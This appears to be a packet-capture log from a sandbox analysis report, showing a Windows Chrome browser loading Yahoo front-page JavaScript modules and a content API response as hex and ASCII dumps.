2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 74 65 6d 70 6c 61 74 65 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 74 65 6d 70 6c 61 74 65 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-template",[],t):"object"==typeof exports?exports["wafer-template"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafe
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 Data Ascii: t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a cla
2024-01-10 23:27:12 UTC	1052	IN	Data Raw: 70 74 6f 72 28 74 2c 72 29 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 6f 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 61 3f 76 6f 69 64 20 30 3a 65 28 61 2c 72 2c 6e 29 7d 69 66 28 22 76 61 6c 75 65 22 69 6e 20 6f 29 72 65 74 75 72 6e 20 6f 2e 76 61 6c 75 65 3b 76 61 72 20 69 3d 6f 2e 67 65 74 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 69 29 72 65 74 75 72 6e 20 69 2e 63 61 6c 6c 28 6e 29 7d 2c 70 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2c 64 3d 70 2e 62 61 73 65 2c 76 3d 70 2e 63 6f 6e 73 74 61 6e 74 73 2c 6d 3d 70 2e 57 61 66 65 72 42 61 73 65 43 6c 61 73 73 2c 77 3d 70 2e 75 74 69 6c 73 2c 79 3d 77 2e 67 65 74 54 65 6d 70 6c 61 74 65 43 6f 6e 74 65 6e 74 2c 68 3d 77 Data Ascii: ptor(t,r);if(void 0===o){var a=Object.getPrototypeOf(t);return null===a?void 0:e(a,r,n)}if("value"in o)return o.value;var i=o.get;if(void 0!==i)return i.call(n)},p=window.wafer,d=p.base,v=p.constants,m=p.WaferBaseClass,w=p.utils,y=w.getTemplateContent,h=w
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 73 70 6c 69 74 28 22 2c 22 29 3a 5b 5d 2c 73 75 63 63 65 73 73 43 6c 61 73 73 3a 75 2c 74 61 72 67 65 74 53 65 6c 65 63 74 6f 72 3a 70 2c 74 65 6d 70 6c 61 74 65 49 64 3a 64 2c 74 65 6d 70 6c 61 74 65 54 65 78 74 3a 6d 7d 29 2c 2d 31 21 3d 3d 66 2e 5f 75 74 69 6c 2e 65 76 65 6e 74 73 2e 69 6e 64 65 78 4f 66 28 22 76 69 65 77 70 6f 72 74 22 29 26 26 28 66 2e 5f 75 74 69 6c 2e 76 69 65 77 70 6f 72 74 54 72 69 67 67 65 72 3d 21 30 29 2c 66 2e 5f 73 74 61 74 65 3d 7b 7d 2c 62 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 5b 65 5d 3d 66 5b 65 5d 2e 62 69 6e 64 28 66 29 7d 29 2c 66 2e 6f 6e 57 61 66 65 72 45 76 65 6e 74 3d 66 2e 6f 6e 57 61 66 65 72 45 76 65 6e 74 2e 62 69 6e 64 28 66 29 2c 66 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 Data Ascii: split(","):[],successClass:u,targetSelector:p,templateId:d,templateText:m}),-1!==f._util.events.indexOf("viewport")&&(f._util.viewportTrigger=!0),f._state={},b.forEach(function(e){f[e]=f[e].bind(f)}),f.onWaferEvent=f.onWaferEvent.bind(f),f.addEventListene
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 72 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 6e 3d 72 2e 65 6c 65 6d 2c 6f 3d 72 2e 65 76 65 6e 74 73 3b 30 21 3d 3d 6f 2e 73 69 7a 65 26 26 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 72 2c 61 3d 21 31 2c 69 3d 30 3b 72 3d 6f 5b 69 5d 3b 2b 2b 69 29 22 63 6c 69 63 6b 22 3d 3d 3d 72 3f 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 68 61 73 2d 74 65 6d 70 6c 61 74 65 2d 63 6c 69 63 6b 22 2c 22 68 61 73 2d 77 61 66 65 72 2d 63 6c 69 63 6b 22 29 3a 22 6d 6f 75 73 65 65 6e 74 65 72 22 3d 3d 3d 72 3f 61 3d 21 30 3a 72 2e 69 6e 64 65 78 4f 66 28 22 3a 22 29 26 26 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 6f 6e 28 Data Ascii: value:function(){var e=this,r=this._util,n=r.elem,o=r.events;0!==o.size&&window.wafer.ready(function(){for(var r,a=!1,i=0;r=o[i];++i)"click"===r?n.classList.add("has-template-click","has-wafer-click"):"mouseenter"===r?a=!0:r.indexOf(":")&&window.wafer.on(
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 64 65 73 74 72 6f 79 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 29 7d 7d 2c 7b 6b 65 79 3a 22 63 6f 6e 66 69 67 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 73 52 65 61 64 79 28 29 3f 7b 76 69 65 77 70 6f 72 74 54 72 69 67 67 65 72 3a 74 68 69 73 2e 5f 75 74 69 6c 2e 76 69 65 77 70 6f 72 74 54 72 69 67 67 65 72 7d 3a 7b 7d 7d 7d 5d 29 2c 74 7d 28 6d 29 3b 4f 2e 65 76 65 6e 74 73 3d 7b 63 6c 69 63 6b 3a 5b 5b 22 68 61 73 2d 74 65 6d 70 6c 61 74 65 2d 63 6c 69 63 6b 22 2c 22 63 6c 69 63 6b 22 5d 5d 2c 6d 6f 75 73 65 65 6e 74 65 72 3a 5b 5b 22 5f 73 65 6c 66 22 2c 22 6d 6f 75 73 65 65 6e 74 65 72 22 5d 5d 2c Data Ascii: ect.getPrototypeOf(t.prototype),"destroy",this).call(this)}},{key:"config",get:function(){return this.isReady()?{viewportTrigger:this._util.viewportTrigger}:{}}}]),t}(m);O.events={click:[["has-template-click","click"]],mouseenter:[["_self","mouseenter"]],
2024-01-10 23:27:12 UTC	355	IN	Data Raw: 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 76 61 6c 69 64 61 74 65 57 69 74 68 54 68 72 6f 74 74 6c 65 28 29 7d 7d 2c 7b 6b 65 79 3a 22 77 69 6c 6c 56 61 6c 69 64 61 74 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e 65 6c 65 6d 65 6e 74 49 6e 73 74 61 6e 63 65 73 3b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 74 2e 67 65 74 28 65 29 2c 6e 3d 72 2e 69 6e 73 74 61 6e 63 65 3b 6e 2e 63 6f 6e 66 69 67 2e 76 69 65 77 70 6f 72 74 54 72 69 67 67 65 72 26 26 43 28 65 2c 7b 6f 66 66 73 65 74 58 3a 30 2c 6f 66 66 73 65 74 59 3a 30 7d 2c 45 2e 76 69 65 77 70 6f 72 74 29 26 26 6e 2e 72 65 6e 64 65 72 54 65 6d 70 6c 61 74 65 28 Data Ascii: ",value:function(){this._validateWithThrottle()}},{key:"willValidate",value:function(e){var t=this._state.elementInstances;e.forEach(function(e){var r=t.get(e),n=r.instance;n.config.viewportTrigger&&C(e,{offsetX:0,offsetY:0},E.viewport)&&n.renderTemplate(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49868	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	537	OUT	GET /aaq/wf/wf-menu-1.3.0-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:12 UTC	802	IN	HTTP/1.1 200 OK x-amz-id-2: gdiC36HHFliXQ2qE0RF67Whl6FVE2Z4HnzSFtBd+xX6k9PRpF290Sk8sDu1hexX9a+Y1R7MuZtU= x-amz-request-id: 89A8YWYR2AK0SMNV Date: Wed, 10 Jan 2024 23:27:13 GMT Last-Modified: Tue, 14 Nov 2023 00:39:45 GMT ETag: "76aeb54211fca21ec7f4f9a39b1d88d1" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: BhLpL.WQZsmgJZIKchhrGPJ9SR5h0N22 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 8333 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 6d 65 6e 75 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 6d 65 6e 75 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-menu",[],t):"object"==typeof exports?exports["wafer-menu"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 Data Ascii: ype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a func
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 28 76 6f 69 64 20 30 3d 3d 3d 6f 29 7b 76 61 72 20 69 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 69 3f 76 6f 69 64 20 30 3a 65 28 69 2c 6e 2c 72 29 7d 69 66 28 22 76 61 6c 75 65 22 69 6e 20 6f 29 72 65 74 75 72 6e 20 6f 2e 76 61 6c 75 65 3b 76 61 72 20 61 3d 6f 2e 67 65 74 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 61 29 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 72 29 7d 2c 76 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2c 70 3d 76 2e 62 61 73 65 2c 6d 3d 76 2e 63 6f 6e 73 74 61 6e 74 73 2c 68 3d 76 2e 57 61 66 65 72 42 61 73 65 43 6c 61 73 73 2c 64 3d 76 2e 75 74 69 6c 73 2c 79 3d 64 2e 63 6f 6e 76 65 72 74 4e 6f 64 65 4c 69 73 74 54 6f 41 72 72 61 79 2c 62 3d 6d 2e 41 54 54 52 5f 50 52 Data Ascii: (void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;if(void 0!==a)return a.call(r)},v=window.wafer,p=v.base,m=v.constants,h=v.WaferBaseClass,d=v.utils,y=d.convertNodeListToArray,b=m.ATTR_PR
2024-01-10 23:27:12 UTC	1236	IN	Data Raw: 69 2e 69 64 3b 70 26 26 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 63 6f 6e 74 72 6f 6c 73 22 2c 70 29 3b 76 61 72 20 6d 3d 73 2e 69 64 3b 72 65 74 75 72 6e 20 6d 26 26 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 6c 61 62 65 6c 6c 65 64 62 79 22 2c 6d 29 2c 6e 7d 72 65 74 75 72 6e 20 69 28 74 2c 65 29 2c 63 28 74 2c 5b 7b 6b 65 79 3a 22 6f 70 65 6e 4d 65 6e 75 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2c 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 6e 3d 74 2e 61 63 74 69 76 65 43 6c 61 73 73 2c 72 3d 74 2e 65 6c 65 6d 2c 6f 3d Data Ascii: i.id;p&&s.setAttribute("aria-controls",p);var m=s.id;return m&&i.setAttribute("aria-labelledby",m),n}return i(t,e),c(t,[{key:"openMenu",value:function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0],t=this._util,n=t.activeClass,r=t.elem,o=
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 65 6d 3a 6e 2c 6d 65 74 61 3a 7b 7d 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 29 7d 7d 2c 7b 6b 65 79 3a 22 6d 65 6e 75 43 6c 69 63 6b 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 6e 3d 74 2e 6f 70 74 69 6f 6e 73 45 6c 65 6d 2c 72 3d 74 2e 63 6c 6f 73 65 4f 6e 53 65 6c 65 63 74 2c 6f 3d 65 2e 65 76 65 6e 74 54 61 Data Ascii: em:n,meta:{}})}},{key:"addEventListeners",value:function(){f(t.prototype.__proto__\|\|Object.getPrototypeOf(t.prototype),"addEventListeners",this).call(this)}},{key:"menuClick",value:function(e){var t=this._util,n=t.optionsElem,r=t.closeOnSelect,o=e.eventTa
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 2e 61 63 74 69 76 65 45 6c 65 6d 29 3b 30 3d 3d 3d 6e 26 26 28 6e 3d 74 2e 6c 65 6e 67 74 68 29 3b 76 61 72 20 72 3d 74 5b 6e 2d 31 5d 3b 74 68 69 73 2e 5f 73 74 61 74 65 2e 61 63 74 69 76 65 45 6c 65 6d 3d 72 2c 72 26 26 72 2e 66 6f 63 75 73 28 29 7d 7d 2c 7b 6b 65 79 3a 22 6d 6f 75 73 65 4f 76 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 74 68 69 73 2e 5f 73 74 61 74 65 2e 61 63 74 69 76 65 29 7b 74 68 69 73 2e 5f 75 74 69 6c 2e 73 68 6f 75 6c 64 41 63 74 69 76 61 74 65 4f 6e 48 6f 76 65 72 26 26 74 68 69 73 2e 6f 70 65 6e 4d 65 6e 75 28 21 30 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 6d 6f 75 73 65 4c 65 61 76 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 74 68 69 73 2e 5f 73 74 61 74 65 2e 61 63 74 69 Data Ascii: .activeElem);0===n&&(n=t.length);var r=t[n-1];this._state.activeElem=r,r&&r.focus()}},{key:"mouseOver",value:function(e){if(!this._state.active){this._util.shouldActivateOnHover&&this.openMenu(!0)}}},{key:"mouseLeave",value:function(e){if(this._state.acti
2024-01-10 23:27:12 UTC	597	IN	Data Raw: 72 20 6c 3d 73 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c 28 74 68 69 73 2c 7b 72 6f 6f 74 3a 69 2c 73 65 6c 65 63 74 6f 72 3a 75 2c 57 61 66 65 72 43 6c 61 73 73 3a 45 7d 29 29 2c 63 3d 6c 3b 72 65 74 75 72 6e 20 45 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 6f 73 65 4f 74 68 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 2c 74 3d 63 2e 5f 73 74 61 74 65 2e 65 6c 65 6d 65 6e 74 49 6e 73 74 61 6e 63 65 73 2c 6e 3d 21 30 2c 72 3d 21 31 2c 6f 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 69 2c 61 3d 74 2e 65 6e 74 72 69 65 73 28 29 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d Data Ascii: r l=s(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call(this,{root:i,selector:u,WaferClass:E})),c=l;return E.prototype.closeOthers=function(){var e=this._util.elem,t=c._state.elementInstances,n=!0,r=!1,o=void 0;try{for(var i,a=t.entries()[Symbol.iterator]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49869	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	1555	OUT	GET /caas/content/article/?uuid=38e4b189-858a-3337-8105-11ad07095256,13c5b235-4dae-31a9-907f-135cdada812d,ce810da6-ac2a-33d8-9f13-869ced0eec5c&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA,enableXrayInline,enableXrayMovieEntities,enableXrayNcp,enableXrayPeopleEntities,enableXrayTopicEntities,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback&rid=0gast8pipu9uc HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-01-10 23:27:12 UTC	1273	IN	HTTP/1.1 200 OK x-powered-by: Express access-control-allow-credentials: true access-control-allow-methods: GET, OPTIONS access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept content-type: application/json; charset=utf-8 content-length: 130525 etag: W/"1fddd-U8XLIcjJ7igqcyIXfu1RRnPMbzw" vary: Accept-Encoding date: Wed, 10 Jan 2024 23:27:12 GMT x-envoy-upstream-service-time: 33 server: ATS Age: 0 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.pnr.ouryahoo.com https://pnr.ouryahoo.com https://.search.aol.com https://.search.huffpost.com https://.onesearch.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=2e6tg1pipu9ug&partner=; X-Frame-Options: SAMEORIGIN
2024-01-10 23:27:12 UTC	242	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 65 6e 2d 64 6f 77 6e 67 72 61 64 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Referrer-Policy: no-referrer-when-downgradeConnection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 7b 22 69 74 65 6d 73 22 3a 5b 7b 22 64 61 74 61 22 3a 7b 22 70 61 72 74 6e 65 72 44 61 74 61 22 3a 7b 22 61 64 4d 65 74 61 22 3a 7b 22 68 61 73 68 74 61 67 22 3a 22 6e 65 77 73 3b 6e 6f 2d 68 72 65 66 6c 61 6e 67 3b 63 65 6c 65 62 72 69 74 69 65 73 3b 65 6e 74 65 72 74 61 69 6e 6d 65 6e 74 22 2c 22 69 73 53 75 70 70 6c 79 53 65 67 6d 65 6e 74 22 3a 22 66 61 6c 73 65 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 72 73 22 3a 22 6c 6d 73 69 64 3a 61 30 61 36 54 30 30 30 30 30 52 30 48 52 5a 51 41 33 3b 72 65 76 73 70 3a 67 6f 6f 64 5f 68 6f 75 73 65 6b 65 65 70 69 6e 67 5f 35 36 31 3b 6c 70 73 74 61 69 64 3a 33 38 65 34 62 31 38 39 2d 38 35 38 61 2d 33 33 33 37 2d 38 31 30 35 2d 31 31 61 64 30 37 30 39 35 32 Data Ascii: {"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"news;no-hreflang;celebrities;entertainment","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0a6T00000R0HRZQA3;revsp:good_housekeeping_561;lpstaid:38e4b189-858a-3337-8105-11ad070952
